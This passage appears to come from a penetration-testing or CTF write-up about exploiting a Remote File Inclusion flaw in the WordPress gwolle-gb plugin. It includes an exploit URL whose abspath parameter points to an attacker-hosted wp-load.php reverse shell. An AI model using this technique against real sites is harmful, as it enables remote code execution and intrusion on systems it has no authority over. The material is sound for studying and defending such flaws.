After conducting the scan, a found plugin was the gwolle-gb plugin.

Running a searchsploit we are able to find a Remote File Inclusion Vulnerability.

Shellcodes: No Results

Further analyzation of the code looks like we need to create a reverse-shell and name it wp-load.php. After that we need to access it with the following link

http://[host]/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website]

Doing so should allow us to obtain a reverse shell.
